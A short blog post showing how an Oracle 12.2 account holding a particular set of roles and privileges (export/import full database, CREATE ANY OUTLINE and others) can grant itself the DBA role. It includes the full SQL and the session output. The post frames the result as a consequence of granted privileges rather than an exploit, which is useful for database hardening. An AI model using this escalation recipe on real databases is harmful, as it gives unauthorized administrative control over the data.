DBA role for anyone?

DBA role grant to myselft (tested in 12.2)

thanks to Pete Finnigan  for explanation

“this is not an exploit, this is due to the privileges granted”

CREATE USER “TUSER” IDENTIFIED BY VALUES ‘S:B368AC805D18763B7ABB524F49E264B5FB86C3A33574D41EEEEBCF96E08A;T:E1F2507A6EB276AF7C7C43FF1BBF5E
BB31C5518EAA2E4F1EB1BB639D9B5A14C8D7AD4CF476D1C147C8869FE628963D2BA0C4808257D81DC81D5373CA2C3CAE739288D97C97F2D87E39069DB2E1F629DA’
DEFAULT TABLESPACE “USERS”
TEMPORARY TABLESPACE “TEMP”;
— Note: No TS Quotas found!

GRANT “CONNECT” TO “TUSER”
GRANT “RESOURCE” TO “TUSER”
GRANT “SELECT_CATALOG_ROLE” TO “TUSER”
GRANT “EXP_FULL_DATABASE” TO “TUSER”
GRANT “IMP_FULL_DATABASE” TO “TUSER”;

GRANT CREATE CREDENTIAL TO “TUSER”
GRANT ADMINISTER SQL TUNING SET TO “TUSER”
GRANT CREATE JOB TO “TUSER”
GRANT ADVISOR TO “TUSER”
GRANT FLASHBACK ANY TABLE TO “TUSER”
GRANT SELECT ANY DICTIONARY TO “TUSER”
GRANT CREATE ANY OUTLINE TO “TUSER”
GRANT ANALYZE ANY TO “TUSER”
GRANT ALTER ANY INDEX TO “TUSER”
GRANT ALTER SESSION TO “TUSER”;

GRANT SELECT ON “SYS”.”ALL_TAB_MODIFICATIONS” TO “TUSER”
GRANT SELECT ON “SYS”.”DBA_TAB_MODIFICATIONS” TO “TUSER”
GRANT EXECUTE ON “SYS”.”DBMS_SQL” TO “TUSER”
GRANT EXECUTE ON “SYS”.”DBMS_LOCK” TO “TUSER”
GRANT EXECUTE ON “SYS”.”UTL_FILE” TO “TUSER”
GRANT SELECT ON “SYS”.”DBA_SQL_PROFILES” TO “TUSER”
GRANT EXECUTE ON “SYS”.”DBMS_REDEFINITION” TO “TUSER”
GRANT EXECUTE ON “SYS”.”DBMS_RESULT_CACHE” TO “TUSER”

GRANT EXECUTE ON “SYS”.”DBMS_RANDOM” TO “TUSER”;
—————————————-
ADMINISTER SQL TUNING SET
ADVISOR
ALTER ANY INDEX
ALTER SESSION
ANALYZE ANY
CREATE ANY OUTLINE
CREATE CREDENTIAL
CREATE JOB
FLASHBACK ANY TABLE
SELECT ANY DICTIONARY
SQL> grant dba to tuser;

Benutzerzugriff (Grant) wurde erteilt.
SQL> show user
USER ist “TUSER”
SQL>

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s